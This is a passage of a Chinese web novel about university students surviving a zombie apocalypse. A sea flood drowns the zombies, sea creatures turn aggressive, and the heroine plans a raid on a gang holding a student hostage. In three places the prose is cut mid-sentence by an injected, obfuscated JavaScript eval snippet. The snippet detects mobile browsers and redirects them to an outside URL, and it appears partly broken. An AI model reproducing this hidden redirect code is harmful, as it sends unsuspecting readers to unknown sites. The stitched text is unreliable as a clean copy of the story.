“哥，刚刚这条消息，是不是回的太快了……” 陈宇扭头就扇了空气一巴掌，他整个人气得跳起来，脸色几乎和暗沉天光一个颜色：“再不着急，我们都得被淹死在这里了！” 他抢过来小弟手中的手机，蹲下来掰住地上捆绑着的那个女孩的脸。 阴沉的脸压下来，陈灵连挣扎都不敢挣扎一下，变声期独特的沙哑嗓音如恶魔低语，钻进她耳朵里：“给你男朋友发语音。 “就说：快来，他们快吃到我了。” 语音被点开后，阮青舒尖叫着跳起来。雨布被一下子顶开，积水“哗啦”一声流了下来。 姜杞感觉全身的汗毛都立了起来，几人蜷缩在一块，下巴搭在别人肩膀上，胳膊缩在舍友腰间。 不适感在脑海中反复爆炸。 她眉心紧缩，身体瑟缩，但勉强维持声线稳定：“假的，这是假的。” “这句话的意思是，他们早就开始吃……吃了，但如果不是刚发生的，那之前的聊天中早就该提及。” “QD金榜有本小说，里面有个名句和这句话一模一样。” “威胁她说这句话的人年龄不大。” 姜杞缓劲来，睁开眼，缓缓道：“他们缺吃的，告诉对面我们有无人机，雨停了就送东西过去。” “等雨停了，就去救援。” 先稳住对面。 侯源林：“可是！” 姜杞打断了侯源林的话，她直接掀开雨布站出来：“即使没有这场水灾，我们也只能尽力帮你们去救人。我们愿意帮助别人，但那是在保证自身安危下。” “东区地势起伏大，目前受水灾影响还小。但是如果雨继续下，水继续上涨，别说去救人，所有人都自身难保。” 大雨中，姜杞头发紧贴头皮，她双手抱胸护住手机，看起来很渺小，但声音平稳：“海水已经快淹没主校区的操场了。” 刚刚她跟侯源林沟通时，让朱妙妙和许尧对接，了解学校现在的受灾情况。 雨势很大，但甚至没到淹没台阶，漫进室内的程度。 淹没城市的确实是海，这不是通过修建排水设施可以挽救的。 她们有接近二百人，即使搜寻塑料瓶绑起来自己组成救生艇，即使现在砍树建造小船，也不可能两百个人都能活下去。 当她像个蘑菇那样，和伙伴们一起蹲在雨布下，认真同侯源林讨论救援细节时，实际上已经死掉好一会了。 东区位于市中心，地势还高，在这里能看到大水末过来，说明半个城市都被淹了。 不过姜杞心里已经想好办法了，她的从容淡定影响到舍友们，几人都一副努力就可以改变一切的样子，甚至干劲十足。 阮青舒安慰他：“你先活下去，才有机会去帮助陈灵。” “我们宿舍从自己口粮里挤出来了一部分吃的，丁宁也愿意把无人机借出来，先稳住那些人，等水退下去，大家一起想办法。” 她看向姜杞：“对了，水大概什么时候会退啊？” 姜杞：“你希望什么时候退？” 这下不止朱妙妙和李穗看向了她，连原本沉默的侯源林三人也抬起头来。 阮青舒试探道：“想什么时候退，就可以什么时候退吗？” 姜杞想了想：“虽然那些求雨拜神的也不说明确的时间，但我个人觉得姿态放低，说清楚点比较好，具体的时间地点……” 话没说完，就被暴怒的阮青舒直接扑上来！ “什么意思，你的办法就是拜神吗？” “为什么不呢？” 姜杞被掐住脖子，挣扎中依旧坚持自己的想法：“学姐，许尧，这些人在末世前遇上的事情，明显说明末世是‘人’为的，算了，姑且称为神吧。” “这个神，看起来很喜欢看乐子。” 虚掐在她脖子上的那双手缓缓松开，周围的叱骂声似乎也平息下来。 姜杞弓着身子，咳了两声，但脸上在笑：“人死绝了，就没乐子看了。” 东区地势已经很高了，宿舍楼更是有12层，如果连这里都被淹了，整个白海市都剩不了几个人。 看到海水漫过来的人，自然不止这几个。 大雨本该抑制人的活动，而现在，整个东区都活动起来，几乎是疯癫地奔走在校园的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211543|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每个角落。 他们都想活下去。 土豆地的排水渠最终还是坚持下来，如果能在水灾中没能弄死他们，那就还得靠土豆活下去。 也正是因为许尧还坚持保护土豆，才让大家相信东区还有未来，雨会停，水会退，一切都会过去。东区还算没有乱起来。 本来存在食堂和超市的物资被紧急搬运过去，水不知道会上涨到什么程度，粮食要放在最保险的位置。 这个位置选择在东三东四宿舍楼的顶层，正是姜杞她们所住的位置。 阮青舒对此庆幸无比。 迟早断电已经成为公认的事情，所以她们一直在收拾东西，准备搬到一楼的空宿舍里去。万一哪天断电的时候电梯里正好有人，那该多危险。 她无心的话语提醒了姜杞。 得让许尧跟大家说一声，搬完物资之后就尽量不要走电梯了。现在水灾这么严重，电力可能会受到影响。 一辆辆车空着开进食堂，转满物资后调转方向，在雨中缓慢前进。 李穗开车挺厉害，但前面那个开车的男生在坡面上一走一停，她跟在后面有点害怕，别死在自己人手里。 接粮食的人已经守在宿舍楼前，两排人打着伞构筑通道，防止雨水打湿面粉。 快递驿站的小推车被征用，成袋的面粉被人抬上台阶，在被小推车推着送到电梯口，直达12楼，流程简洁迅速。 面粉大米这种不能淋雨受潮的物资优先级最高，接下来才是冰柜，油烟等调味品，大家这些天挖的野菜。 全校人都向东三东四这两栋宿舍楼转移。 有人慌乱收拾紧要物品，仅剩的一点吃的藏包里，揣上武器，就找急忙慌准备撤离。生怕晚一步大水就要淹过来。 还有人非要带着自己的全部家当走，铺盖卷起来绑上，衣服全塞行李箱里。雨水打在玻璃上像炮仗一般，看一眼窗外，还要咬着牙继续收拾行李。 已经末世了，这些东西丢了真就再也买不到了，推着大包小包冲出宿舍的下一秒，董明睿又紧急刹车，倒回去，拿起垃圾桶套在头上。 行，镂空的，不妨碍看路。 东三东四这两栋宿舍楼，低楼层的宿舍也要向上移动。晚上得按学号安排人守夜，如果有必要的话，所有人都得挤在最高的十二楼睡觉。 如果水真的漫过十二楼呢？ 即使没有空闲想东想西，但恐惧仍在夹缝中发酵，收拾宿舍的时候会浪费宝贵时间找防水布料，搬到新宿舍也第一时间寻找游泳圈。 微薄的努力在无边无际的大水面前显得无力。 海面的颜色几乎和天空融为一体。 雨滴砸在水面上，海像不断沸腾的水。 水下面似乎同样不平静。 数不尽的海洋生物随着海平面的上涨扩大了自己的活动范围，渗透了血水的土地被海水浸泡，血色无声无息渗进海里。 海底翻腾起来。 35.地球清除计划？ “水，水涨上来了！” 暗沉天光下，天与海几乎是同样的颜色。丁宁在雨中摔了个跟斗，起身后竟看到甩出去的拖鞋悬浮起来，他愣了好几秒，才反应过来是水涨到脚下了。 他尖叫着跑起来，慌乱的腿脚绊在一起，再次摔倒。 另一只鞋也不知道甩去了哪里。 发颤的声音刺破黑暗，丁宁光着脚在大坡上狂奔，冲着每一个遇见的人大叫。 不断有人因为他的叫喊声回头看。 他们看到各色塑料袋生活垃圾被奔涌的海水卷着堆积在校门外，水从不断从围栏缝隙渗进来。 水在稳定上涨。 “水涨上来了！” “涨水了，快跑啊！” 丁宁的嗓子快喊哑了，恐惧加深，他怕自己一会就发不出声音了。 跑啊，你们都快跑啊！ 他以最快的宿舍在大坡上奔跑，大雨好像淹没了他的呼喊，他就朝看到每个人疯狂比划。 快跑！ 丁宁摔在地上。 他被很多人拽起来，身边一片黑，很多身上绑着大包小包的同学围在他身边。 一个人蹲在他脚边，掰着他的脚给他穿鞋。 那人头上套着垃圾桶，行李箱上绑着书包，肩上背着包袱，两双运动鞋挂在脖子上。看起来比流浪汉还珍惜自己的家当。 董明睿悲观、怕死，还抠门。 但他只对自己抠。 “别怕。”丁宁的胳膊被一个女生拍了拍，颤抖的手将同样颤抖的胳膊握住。 毛恨竹担忧地问他：“下面还有人吗？” 丁宁负责监管篮球场上的丧尸，篮球场位于学校的最边缘，也是地势最低的地方。西边是废弃老建筑，看不清外面的形势，所以一开始才没注意到水漫了过来。 他哑着嗓子回道：“没人，只有丧尸了。” 他逃跑的时候，可不会好心把丧尸放出来。 东区地势高，都淹到这里了，大概白海市大部分的丧尸都被淹没。如果这次能活下来，往后就是没有丧尸的好日子。 得活下来。 幸存者们奔走相告，检查各个宿舍还有没有未撤离的同学。 12楼里挤满了幸存者，张梦娴挤在拥挤的人流里大声点名，核对名单。 于虹所在的宿舍直接被当成了储物间，她带着简单的行李搬到了1230宿舍。 至今很多人都只知道有个女生提前得知末世消息，但不知道那个人是谁。 也没人去打听。 不到二百个人，两栋宿舍楼，一层楼有30个房间，住宿方面还算宽裕。 姜杞紧贴着窗户，隔着布满雨痕的玻璃观察外面的情况。 后山已经被水淹了一部分了。 只有高楼和山头还在水面之上，水色晦沉，天地寂寥。 绝望随着水面的上涨而无限膨胀。 没有救生筏，没有游泳圈，甚至四周没有比东区更高的点，逃无可逃，只能在这里等待命运的审判。 如果水真的淹过来呢？ 阮青舒已经被恐惧逼疯了。 她身体僵硬，拿着斧头疯狂劈自己的床板，又找来很多塑料瓶，试图将空瓶子绑在木板上。 即使水真的会淹过来，她也要活下去。 李穗把自己的泳衣给了朱妙妙，但其实她俩都不会游泳。 于虹蹲在姜杞后面，也许是因为她打开宿舍门后看到的第一个人是拎着大砍刀的姜杞，雏鸟效应让于虹不自觉地跟在姜杞后面。 姜杞在想，这场水灾会带来什么样的结果。 人死光就没乐子看了，她坚信“神”不会让人走向绝境。 这样的海水上涨幅度绝非自然，既然是“神”操纵的，那一定是有什么目的。 水涨上来，除了死人，对世界还会有什么影响？ 丧尸也会死。 天哪，太好了，是喜事啊。 可一次次带来灾祸的“神”真的会有这样的好心吗？ 曾经的一句感慨像浮木般自己从记忆深处浮出来，那是丧尸刚爆发时姜杞想到的话： 【目前来说，世界上还应该没有出现人类之外的受害者。 风声依旧，山海仍在】 丧尸的异变仅限于人类，而水浸润万物…… 姜杞想到一种可能。 丧尸异变其实是可以传播的，如果异变还没有结束，如果异变即将由人类向其他生物扩散—— 水，就可以成为异变扩大的媒介。 丧尸的尸体可以被水生生物吞噬，丧尸的血液能通过水循环传播……种种思绪在姜杞脑海中疯狂闪过，如果她的思路是正确的，那这场水灾最重要的因素就是丧尸。 东区有丧尸，有很多丧尸。 姜杞冲出宿舍，在走廊尽头找到了瘫坐在地上的张梦娴，张梦娴还抱着她那个笔记本，似乎在wps文档里编写什么东西。 她抬起脸来看向姜杞。 那是一张，几乎看淡了一切的脸。身后暴雨倾盆，水位稳步上涨，她背对着这一切，静静地做着自己的事。 “怎么了？”张梦娴的脸动了动，似乎想扯出一个笑来。 “丁宁在哪？”姜杞快速道：“无人机还在他手上吗？我想了解篮球场丧尸的情况。” 张梦娴直接切了笔记本屏幕，转过来给她看。 屏幕里只有东区的边角，和大片看不出颜色的水。 无人机下雨天不能飞，这是篮球场的监控。从监控中看，丧尸应该已经全部被淹了。 张梦娴还有心思开个玩笑：“希望丧尸不会游泳。” 姜杞勉强笑了一下，也可能根本就没笑出来。 篮球场的丧尸淹了，水位还在上涨。 什么意思，地球清除计划吗？ 不对，姜杞想起来了，后山也有丧尸。 被她们用伸缩门关起来的，一大片丧尸。 甚至食堂里，教学楼上，都被零散的关了很多丧尸！ 她回忆着这些建筑的高度，食堂三层，教学楼六层，而且地势基本与东三东四宿舍楼齐平。 如果水真的要淹过全部的丧尸，大概在宿舍楼七楼的位置就可以了。 这是毫无根据的臆想，姜杞不敢跟任何人讲。 起身后，头有些眩晕。 以至于听到那声“水位停了”时，她还以为自己幻听了。 姜杞站在走廊的尽头，她晕晕沉沉地，看着走廊两侧的宿舍门一扇接一扇地打开。 毛躁的头像雨后蘑菇般不断冒出来。 各种套着游泳圈，穿着泳衣泳帽的女孩子站在宿舍门前交头接耳。 身后冲出一个人影，那人激动地挥舞着手臂，大喊大叫。过了好几秒，姜杞才反应过来张梦娴喊的话是什么意思。 她说，水停了。 所有人都跟着张梦娴的身影欢呼着向下冲，而姜杞转身，趴在冰凉的窗户前。 这里看不清学校的情况，但水位绝对没上升到后山丧尸被关的地方。 劫后余生的喜悦和迷惑同时同时从心底蹿出来，可更多的还是被人群感染的狂欢。 姜杞也冲进人群中，她被人流裹挟着前进，挤进楼梯间里。 狭窄的空间里充斥着各种声音。 “水已经停了好一段时间了，一直没继续上涨，才终于在群里通知的！” “这把稳了这把稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226079|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “你们手里怎么还拿着抄网？怎么还有大盆？” “哎呀你没看群吗？许尧说好多物资被大水冲上来了，有充气的零食直接漂浮在水上。还有海里的鱼啊贝啊，搁浅在地面上，那个红红的长长的恶心东西……” “是海肠！台风天的时候海边都是捡海肠的！” 也许有人还在担心，水位是否会反复，但这种担心只能在心里想。 挤出宿舍楼的时候，姜杞才发现雨也停了。 这是下午四点半，厚重的天破了个口子，光漏在远方，照亮了别处的海。 她踉跄下了台阶，下意识朝着光的方向走。 “姜杞！”一只手稳稳将她抓回来，她被惯性带的回头，看到一张洋溢着光的脸。 “活下来了！”阮青舒穿着泳衣兴奋地跳来跳去，她一只手抓在姜杞身上，另一只手拎着垃圾桶。 熟悉的脸凑过来，是朱妙妙和李穗。 她们手里还拿着塑料袋扫帚拖把杆。 李穗同样跳起来，不过是急得跳脚。 她拽起来磨蹭的两人，疯狂往操场、小广场等开阔的地方赶。从群里发的照片来看，那边可以捡的东西更多。 可是她们出来的太晚了，这些地方已经聚了一些人。 当断则断，四人又在李穗的带领下向校门口的方向跑。 水从高位向着地位退去，守着水边就能第一时间捡到物资，还能捞水面上的零食。 水退到大坡的半截了。 靠近水边的时候，姜杞突然察觉了不对，拼命拽着飞奔的舍友！ “沿着树和墙走！” 来势汹汹的水淹没了隧道，正在退去的潮水只露出坡上的树头，和部分隧道。 栏杆还在水下，隧道与校园的边界被模糊，看起来很浅的水，下面可能有几十米高。 姜杞脸色难看，她下意识伸开胳膊，将舍友拦在后面。 “绝对，绝对，不能走进水里。” 她紧接着在群里发消息，提醒大家只能走没水的地方。万一不小心跌落深水，回来的可能性极小。 李穗被吓得脸色惨白。 她眼睁睁看着水上的两包薯片从墙边飘到树头，在水流的冲击下打着转飘到隧道那边。 像引路鱼那样。 李穗比大家想象的更惜命，她看向薯片的眼神没有丝毫惋惜，只有无穷的后怕，甚至仇恨。 她盯着那个薯片，后退了好几步。 紧接着，又迟疑地上前。 “那里，是不是有东西？”她的手指向一处格外翻腾的水面，是鱼群？鱼群喝到功能饮料了？ 姜杞被喊了好几下才回过神来。 她刚刚在想，如果自己之前的猜测是真的，水灾与世界进一步异变有关，而且丧尸还没有完全被淹没。 那海面会不会再次上涨？ 阮青舒的喊话声硬生生把姜杞从思考中拽出来，她手中的垃圾桶已经和李穗的拖把杆绑在了一起。 扑腾的鱼群只有几步远，她们准备捞鱼了。 李穗握紧拖把杆，缓缓把垃圾桶往深水处送。 抓到了！ 感受到重量后，她胳膊发力，胸腔顶住拖把杆猛地往上抬，随即使劲往岸上甩。 刚走进的侯源林只感觉几片闪着亮光的小东西朝他的脸砸过来！ 一只鱼从他头皮上擦过，一沉帽兜，似乎是掉在了帽兜里。 一只直接砸在他脸上，带着腥气的鳞片直接在他脸上砸出一片红痕。 侯云林崩溃地抹了把脸。 哭诉还卡在喉咙中时，剧痛感突然从后脖颈传来！ 掉在帽兜里的鱼，咬上了他的脖子。 36.没了丧尸后，那伙坏蛋会去哪？ 哄笑的人群中冲出一道身影，姜杞最先反应过来，上前拽开侯源林的帽兜。 一条扁平的巴掌小鱼咬在他的后颈上。 闪着银光的鳞片渗着隐约血色，她心头一紧，迅速隔着帽兜捏住鱼头，小心地用力，将鱼嘴撑开，从侯源林身上拽下来。 几根缠在鱼嘴中的头发被拽掉，侯源林疼得直抽气。 鱼嘴很小，还缠着发丝，看不出有没有牙齿。 刚从鱼嘴中逃脱的侯源林长舒一口气，利落下蹲，干瘦的身子一下子从套帽衫里钻出来。 观察完鱼的姜杞眼疾手快，一把将准备跑远的他拽回来，又仔细观察鱼嘴咬住的地方。 红印明显，但没出血。 那鱼身上的血哪里来的？ 鱼会流血吗？ “鸡毛？” “鱼，鱼在吃鸡！” 姜杞猛地回头看向水面。 刚刚翻腾的水域已经是一片血红，鱼群在血水中翻腾，如一汪不断扩散的红色泉眼。 鱼群中心，破开肚子的死鸡在水面上时隐时现。 阮青舒吓得跳起来，攥紧扫帚挡在身前，把众人往后挤。朱妙妙咬牙从她身后钻出来，让李穗拽着她的胳膊，她尽可能的靠近水面，去拍鱼群的照片。 这边的动静被人群注意到，陆续有人凑过来。 “有食人鱼吗？” “别靠太近了，是飞鱼，我刚才正好看到鱼飞到猴子脸上！” “真假啊？” “飞鱼好，飞鱼不害怕。吓死俺嘞，还以为鱼也丧尸化了呢。” 蹲在地上喘粗气的侯源林终于站起身来，他心有余悸地捂着刚刚被咬的地方，眯着眼，上前瞧水面上的鱼群。 “小心！”“小心！”人群不知为何尖叫着散开，声声惊呼从散开的人群后传来。 侯源林已经□□出来条件反射了，下意识感觉这是在提醒自己。 许尧确实是在提醒侯源林。 他眼睁睁看着侯源林在听到提醒后下意识抱头向侧边翻滚，姿势标准自信，然后，正好被跳起来的皮皮虾砸了个正着。 侯源林捂着屁股也跳起来！ 海边管这东西叫爬虾，现在是爬虾的末季。 操场里，小广场上，大量搁浅的爬虾跳起来夹人。原本不会跳的小东西不知怎么突然具备了攻击性，抽气声和踉跄摔倒的动静此起彼伏。 “*！贝壳也夹人了！” 丁宁的鞋又不知道甩飞去了哪里，他只敢走在没有沙子的水泥地上，脚趾头不知何时被一只月亮贝夹住。 毛恨竹饿狠狠地冲上来:“夹人也还是贝壳。” 贝壳就是拿来吃的。 白皙的小胖子满身肥肉一颤一颤，在女人恐怖的审视下伸出自己的脚趾头，刚才还来势汹汹的女人看到脚丫子扭头就走。 天涯何处无贝壳。 退去的潮水除了垃圾海货外，还在土地上留了一层细细的沙子，指甲盖大小的花蛤悄么伸出白嫩的“舌头”，在沙子表面摸索，艰难竖立起来后，扒拉着砂砾就要钻进去。 这点沙量哪够卧沙的，立在地面上的小蛤蜊越活动越明显。毛恨竹蹲在地上，一抓一个准。 陈佳宁快急死了。 明明最初介绍的时候他说自己擅长赶海，眼下这种特殊情况，却完全不能把他的作用发挥出来。 “这样的小螃蟹没法吃，还没手指头大呢，一点肉都没有。” “哎哎你别这样抓啊。”他凑到人家脸跟前：“从后面捏住爬虾的，就这样，这样它不就夹不着你了嘛！” “你不是说跑不了吗？怎么还是跳走了！” “这这。”陈佳宁也灰溜溜跑了：“它这，这是变异了。” “变异了你还GG！” 比起指甲盖大小的花蛤，指头粗的蛏子，能被人轻松抓在手里的月亮贝……鱼和爬虾的体积看上去相对较大，还有些许危险性。 不过爬虾实在美味，鱼又在水里。 整个东区都被满地的海货激起了采集天性，什么变异，什么吃鸡，巴掌大的小东西注定只能被吃进肚子里。 小东西会咬人也还是小东西，天然的体量差距让人生不出恐惧。 许尧子人群中奔走相告：“水里的东西不能生吃！” “就算没变异也不能生吃，生吃会拉肚子！何况现在看起来水生生物可能发生了变异，绝对不允许私藏起来煮着吃！” “晒干。”他再三强调：“不是不让吃，我们晒干后，煎炸蒸煮，确保熟了没毒再吃。” 当然得吃，土豆被海水淹了，谁知道还能不能长出东西来。李穗是这样在群里宣传的：不吃变异动物就等着饿死成为动物的便便。 被大水包围的恐慌并未随着水流的退去而消散，而是转化为兴奋纾解出来。 退潮的速度不算快，但学校的面积大，同学们提着桶，背着包，蹲在地上捡啊捡。 姜杞却好似融不进去这场狂欢，她守在慢慢下降的水边，一直看着校门后那边的水。舍友们怕她想不开，一个两个都蹲在她身边。 朱妙妙从姜杞那接过咬人小鱼研究起来。 李穗：“看着好像没什么肉啊。” 阮青舒一巴掌扇在她后腰上：“什么肉不肉的！不是要吃鱼肉，是要看鱼吃不吃人肉！” 想了想，朱妙妙摘了片叶子，卷起来塞鱼嘴里。 看似柔软的鱼唇猛得闭合，鱼身剧烈挣扎起来，险些从朱妙妙手中跳出来。 姜杞眼疾手快把咬断的叶片从鱼唇边抢过来。 断裂切口很奇怪，有隐约的牙印，但不整齐，也不明显。更多断裂部分像是被柔软的口腔挤断。 这样的切口，让姜杞想到刚长牙的婴儿。 她把猜想说给舍友听。 阮青舒抱紧了胳膊，瑟缩道：“幸好咱们不住在海边。” 李穗难得表现的比阮青舒聪明了点，她眉毛一挑：“只有海边有动物吗？屠宰场的猪，家养的小猫小狗小鹦鹉，还有3路直达的南山公园，不到处都是动物吗？” “那不都淹死了啊！”阮青舒不服气：“水灾面积这么大，活下来的能有几个。” 对啊，这场持续了一下午的水灾得淹死了多少生灵。除了水生生物，只有躲在高楼上的人和动物活了下来。 朱妙妙心中一动，她看向姜杞。 她突然明白姜杞在看什么了。 顺着姜杞的方向，朱妙妙也看向了那片还未退去的水域，海水浑浊暗沉，看不清下面的模样。 那是篮球场的上方。 丧尸就关在那里。 姜杞不是得了观水症，她是想知道，丧尸在被水淹了半天后，还能不能活。 丧尸，应该不能活了吧。 这个念头像充了气般在朱妙妙脑海中迅速膨胀，她几乎难以抑制心头爆炸般的狂喜。 也许，也许过段时间她就可以回家找爸爸妈妈了。 变异动物哪里有丧尸可怕！ 全球有14亿人，变成丧尸的不计其数，变异动物能有多少！大规模养殖的都被关在养殖场，野生动物基本都在深山里，数量也少。 她要回家。 回家的念头冒出心头，就迅速扎了根开始生长，再也拔不出来。 朱妙妙也不想拔出来。 心神激荡，天空看起来都多了几分晴朗。她站起来长舒一口气，略活动下腿脚。 她的脚好像碰到了什么东西。 退潮并非是水从岸上流回海里，涨潮退潮水都是一浪一浪从海里打向岸上。 潮水把一只脚冲到了她的脚上。 朱妙妙无声大叫，她踉跄抓住身边人的衣服往后仰。 阮青舒李穗不明所以，但你一手我一手将她接住，三人挤作一团，像回到末世前那样。 姜杞像是疯魔了，她竟起身去拽那只脚。 混乱与恐惧压迫心神，有一瞬间，朱妙妙感觉她什么都看不见了。反应过来的时候，她已经从舍友的怀抱中挣脱开来。 黑暗因眼睛的睁开而消散。 走向那具尸体时，恐惧也随着行动渐渐淡化。 只有朱妙妙走了过去吗，甚至还和姜杞一起掰开了尸体的嘴。 嘴里是两排尖牙。 “丧尸！是丧尸！” 人群中与尸体隔开好远的距离，甚至还有人不明白丧尸的尸体出现在这里有什么含义。 姜杞安抚住朱妙妙激动的情绪。 只凭一具尸体，还不能断定丧尸真的能被水淹死。 还要继续等待。 等篮球场的水退下去。 慢慢的，几乎所有人都反应过来姜杞在等什么。 人们甚至停下了捡贝壳捡爬虾的动作，无声挤进来，心和人一样站着，等这场大水退去。 等待因为被赋予重量而变得难熬。 恐惧兴奋都散了。 在头顶的黑云破开的口子越来越大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226080|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，日光终于落在东区时，篮球场的水终于落了一半。 还是没看见丧尸的身影。 水还在继续退。 人群缓缓逼近。 涌动的潮水中似乎露出了一个头？ 张梦娴的心猛地被高高提起！这个高度，难道，难道还活着。 “姿势好像不对啊？”李穗视力好，又站在最前面，她眯着眼身体前倾。阮青舒死死拽着她的胳膊，怕她不小心翻过栏杆掉进丧尸堆里。 “是躺着的！”李穗双臂伸展，在阳光水光照耀下欢呼起来。 她像一只鸟，回头冲着人群高喊：“露出来一只丧尸了，它躺在别的丧尸身上。” “都倒下了！” 又有呼喊声响起，水还在退，大片丧尸露出来，横七竖八躺在地面上，腐烂的肉似乎已经被水泡肿胀。 几乎整个东区的人都振臂高呼起来，欢呼声像上百只振翅的鸟，盘旋着飞到树头，云边。 这样的自由狂欢中，姜杞似乎和其他人并不属于同一个世界。她敲开一个生蚝，连肉带壳砸向下方的丧尸。 丧尸没有动弹。 喘了口气，垂眸沉默片刻，姜杞蹲下把侯源林帽兜里的鱼狠狠砸向地面。鱼血混着内脏从衣服里渗出来，才终于扔向了丧尸。 “起开。” 清冽的声音带着难以压抑的喘息，是许尧从狂欢的人群中挤进来，他拎了一块解冻了的肉。 肉似乎泡了海水，带着浓重的腥气。 这团肉直接砸在了一个丧尸的脸上。 丧尸依旧没有动弹！ “真的。”许尧喃喃自语：“丧尸，好像真的死了。” 末世，要过去了吗？ 他侧身，像拽住姜杞的胳膊问她，却见她扭头窜进人群里，像一只鱼，从狂欢的人流中挤了出来。 她看上去一扫之前的疲惫丧气，绷紧的胳膊经过这些天的劳作似乎已经能看到肌肉线条，灵动的身姿看起来充满了力量感。 姜杞挤出人群，大步迈向高处，然后转身看向下面的人群。 “你要干啥啊！”李穗等人找了她半天了，此刻看到狂笑的姜杞也没有恼火，只有招呼她一起快乐的亢奋。 姜杞在风里大笑，她喊：“我要去杀人！” 这声巨大欢呼真的把树上的鸟震得仓促起飞，飞鸟的影子在姜杞身上闪过，紧接着飞向自由的远方。 “抓紧时间，至少十分之一的人得跟我一起走。”姜杞看起来很疯狂，激情如火花四溅，但没人认为她是在开玩笑。 她不是卖关子的人，迅速解释：“水涨到东区前，我们就收到了消息，有人挟持了齐南的学生，逼他们引诱丧尸。水灾爆发后还伪装成学生在网上散播求救信息。” “我们已经成功套话，他们躲在火车站旁边的一栋高楼里，就在海边。” “我们要去救同伴吗？” 热血涌上心头，丁宁没想太多，涨红了脸大声道。 “不。”姜杞斩钉截铁：“被挟持的同学人品很好，在以为自己必死的情况下救过很多人，但这不是我们冒着生命危险去救人的理由。” “不管你们怎么想，反正如果外面还是丧尸遍布的情况下，我会尽可能帮忙，但绝对不会为了救人让原本安稳的自己置身险境。” 侯源林看着姜杞，脸色很平静。 她从宿舍楼前跑走的时候，他心里就明白了。 “现在危险降低了，所以我们要去救人了吗？”李穗低声问道，她亢奋的身体似乎渐渐平息下来。 “危险没有降低，我们是去救人，也是在救自己。”姜杞的声音越来越快，似乎在追赶时间。 “没了丧尸，我们真的就安全了吗？”她脸上的狂热淡了些，眸中多了几分冷色。“东区的围栏只能抵挡丧尸，抵挡不了会使用工具的人类。” “火车站那边的人没有吃的，等他们发现退水了后，会去哪里找吃的？” 朱妙妙的脸色再度苍白起来：“他们已经知道东区有人了，会来，东区！” “居民楼反锁防盗门就能保证安全，东区太大了，我们不能千日防贼。”姜杞道：“趁着他们还被困在高楼上，趁着他们还不知道水已经退了。” “我们杀过去。” 日头已经西斜了，姜杞拿着根树枝指向校外闪着粼光的汪洋水面：“在太阳彻底落山之前，在他们所在的高楼退水之前，我们必须赶到。” “今晚就解决掉那伙人。” 37.冒险计划 【雨停了！我已经借到了无人机，马上就给你送吃的】 【你想办法拖延下，拿到吃的后就说是之前私藏的。有了吃的，他们肯定就不吃……不会打你的主意了】 两声连续的消息提示音吸引了整个房间的注意。 “老大！”惊呼声响起：“对面回消息了。” 窗边的陈宇缓缓回头，他背着光，年轻高大的躯体看上去很有压迫力。 终于来了。 夹在指缝的烟暴露在空气中太久，已经有点潮意，他低头，点了好几次才点上。 饥渴地长吸一大口，全身的关窍都被变得轻飘飘后，才感觉胃里的饿意被暂时压了下去。 他已经饿得不愿活动了。 陈宇只点了下头，示意小弟继续沟通。 得到示意后，张长胜才继续发消息。 他盘膝坐在地上，一只手打字，一只手隐隐按在胃部。这里的生存压力不是东区可以想象的，每个人都在掩饰自己的虚弱。 之前的聊天记录被这个女人删掉了，秉持着多说多错的原则，张长胜简单回复道：【快，你快来，我害怕】 【别怕，】 【抱抱宝】 【宝，他们多少人？我只搞到了三包泡面两袋面包了，够不够？】 张长胜谨慎地回避了人数话题：【不太够啊，最好能多送几趟过来】 【你知道具体地址吗？越详细越好，无人机电量不多了，我得确保食物能送到你手上】 【弘扬广场B栋701】 想了想，张长胜又补充了一句：【挟持我们的人在六楼，无人机过来的时候小心别被他们发现了】 丁宁瞥了一眼刚发来的消息，心想那挟持陈灵的人肯定是在七楼了。 “别！”张梦娴按住了丁宁操纵无人机的手：“别直接靠近。” “飞远点，隐藏在别的大厦后边小心观察，别被发现了。” 丁宁点头，无人机从侧面绕过去，小心的拉开距离，确定方向后开始变焦。 这里水位降低的还不明显，银色的大厦在茫茫水面上矗立，水面和银色墙面都折射着粼粼光彩。 俨然还是一副末世景象。 潮水退去的速度很快，他们必须抓住这个时间差。 说不出是聪明还是傻，整栋大厦就六楼七楼的窗帘拉的最严实，丁宁一下子找到了目标。 “陈灵！”侯源林盯着笔记本显示屏，七楼有扇窗户没拉帘子，也不知道隔着那么远他怎么认出来的。 姜杞数着镜头中出现过的人，估算这些人的数量。 他们还不知道无人机已经到了，正准备把陈灵推到窗前，模拟之后接物资的场景。 “至少十个人。”姜杞松了口气，可以应对。 许尧点头：“被挟持的人，肯定小于这个人数。” 